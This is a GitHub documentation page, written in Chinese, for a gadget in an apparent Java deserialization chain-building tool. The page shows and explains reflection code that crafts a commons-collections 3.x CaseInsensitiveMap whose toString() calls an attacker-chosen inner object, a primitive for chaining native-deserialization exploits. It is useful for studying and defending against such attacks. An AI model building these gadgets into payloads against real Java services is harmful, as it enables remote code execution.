Skip to content

Latest commit

 

History

History
53 lines (44 loc) · 3.56 KB

File metadata and controls

53 lines (44 loc) · 3.56 KB

CC3.X 调用 toString 方法(CaseInsensitiveMap3ToString)

  • 类别:javanative 别名:— 优先级:未标注(默认)
  • 作者:Unam4、Ar3h
  • 依赖org.apache.commons:commons-collections3:3.x

作用

用 commons-collections 3.x 的 AbstractHashedMap$HashEntry + CaseInsensitiveMap 构造一个「一旦被 toString() 就会调用内层对象 toString()」的 Map,为链条提供一个任意 toString 调用的原语(toString gadget)。

链接标签

  • 入口 tagsJavaNativeDeserialize —— 本 gadget 产物是可原生反序列化的 CaseInsensitiveMap
  • 衔接 nextTagsToString —— 之后需接一个「被 toString() 触发」的 gadget(如 XString/BadAttributeValueExpException 系列或其它以 toString 为触发点的 sink)。
  • excludes:无。

源码剖析

public Object getObject(Object toStringObj) throws Exception {
    Map s = (Map)Reflections.createWithoutConstructor("org.apache.commons.collections.map.CaseInsensitiveMap");
    Class<?> nodeB = Class.forName("org.apache.commons.collections.map.AbstractHashedMap$HashEntry");
    Constructor<?> nodeCons = nodeB.getDeclaredConstructor(nodeB, Integer.TYPE, Object.class, Object.class);
    nodeCons.setAccessible(true);
    Object tbl = Array.newInstance(nodeB, 1);
    Array.set(tbl, 0, nodeCons.newInstance(null, 0, toStringObj, toStringObj));   // key=value=内层对象
    Reflections.setFieldValue(s, "data", tbl);
    Reflections.setFieldValue(s, "size", 1);
    return s;
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    return this.getObject(chain.doCreate(context));   // 先取内层 toString 目标对象
}

逐段说明:

  • Reflections.createWithoutConstructor(...) 无构造器实例化 CaseInsensitiveMap(跳过其 put 时的 key 归一化,直接内嵌恶意 entry)。
  • 通过反射拿到私有内部类 AbstractHashedMap$HashEntry 的构造器 (HashEntry next, int hashCode, Object key, Object value),构造一个 next=null, hashCode=0, key=value=toStringObj 的桶节点。
  • Array.newInstance 建一个长度为 1 的 HashEntry[] 数组作为底层 data 表,把恶意节点放进 data[0],并把 size 反射置 1,使这个 map「看起来」有一个元素。
  • 触发点:当外层对某处调用该 map 的 toString()AbstractMap/AbstractHashedMaptoString 会遍历 entry 并做 key + "=" + value 的字符串拼接)时,就会调用 toStringObj.toString() —— 即把控制权交给下游 toString sink。

参数(@Param)

本类无 @Param。触发目标对象由链上下文(下游 gadget 产物)注入。

适用版本与原理要点

  • 适用 commons-collections 3.x(依赖坐标 org.apache.commons:commons-collections3:3.x)。
  • 与 CC4 版本的差异:3.x 的 HashEntry 构造器可直接传入 key/value(本类 key 与 value 都设为目标对象),而 CaseInsensitiveMap4ToString 只反射写 key 字段。
  • 本 gadget 自身不触发 toString,仅提供「把任意对象接到 map 的 toString 拼接」的桥;需要一个外层会调用其 toString() 的入口或 gadget。

所属预设链

自由构件,未直接出现在 51 条预设链中。

关联

  • 下游(nextTags=ToString):以 toString() 为触发点的 gadget(XString1/2/3XalanXString*BadAttributeValueExpExceptionToString 等)。
  • 同族:CaseInsensitiveMap4ToString(CC4 版本,等价原语)。